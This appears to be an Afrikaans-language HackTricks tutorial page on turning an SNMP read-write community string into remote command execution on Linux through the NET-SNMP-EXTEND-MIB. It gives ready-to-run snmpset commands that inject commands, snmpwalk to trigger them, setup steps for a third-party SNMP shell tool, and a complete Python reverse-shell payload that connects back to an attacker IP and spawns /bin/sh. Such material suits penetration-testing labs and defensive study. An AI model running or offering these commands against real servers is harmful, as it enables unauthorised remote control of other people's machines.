tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

SNMP RCE

SNMP kan deur 'n aanvaller uitgebuit word as die administrateur sy standaardkonfigurasie op die toestel of bediener oor die hoof sien. Deur die SNMP-gemeenskap met skrywe toestemmings (rwcommunity) op 'n Linux-bedryfstelsel te misbruik, kan die aanvaller opdragte op die bediener uitvoer.

Uitbreiding van Dienste met Bykomende Opdragte

Om SNMP-dienste uit te brei en ekstra opdragte by te voeg, is dit moontlik om nuwe rye aan die "nsExtendObjects" tabel toe te voeg. Dit kan bereik word deur die snmpset opdrag te gebruik en die nodige parameters te verskaf, insluitend die absolute pad na die uitvoerbare lêer en die opdrag wat uitgevoer moet word:

bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Inspuit van Opdragte vir Uitvoering

Inspuit van opdragte om op die SNMP-diens te loop, vereis die bestaan en uitvoerbaarheid van die aangeroepde binêre/scrip. Die NET-SNMP-EXTEND-MIB vereis die verskaffing van die absolute pad na die uitvoerbare.

Om die uitvoering van die ingespuite opdrag te bevestig, kan die snmpwalk opdrag gebruik word om die SNMP-diens te enumerate. Die uitset sal die opdrag en sy geassosieerde besonderhede vertoon, insluitend die absolute pad:

bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Die Uitgevoerde Opdragte

Wanneer die ingespotte opdrag gelees word, word dit uitgevoer. Hierdie gedrag staan bekend as run-on-read(). Die uitvoering van die opdrag kan waargeneem word tydens die snmpwalk lees.

Verkryging van Bediener Shell met SNMP

Om beheer oor die bediener te verkry en 'n bediener shell te bekom, kan 'n python-skrip wat deur mxrch ontwikkel is, gebruik word vanaf https://github.com/mxrch/snmp-shell.git.

Alternatiewelik kan 'n omgekeerde shell handmatig geskep word deur 'n spesifieke opdrag in SNMP in te spuit. Hierdie opdrag, wat deur die snmpwalk geaktiveer word, stel 'n omgekeerde shell-verbinding met die aanvaller se masjien in staat, wat beheer oor die slagoffer se masjien moontlik maak. Jy kan die vereiste installeer om dit te laat loop:

bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Of 'n omgekeerde skulp:

bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks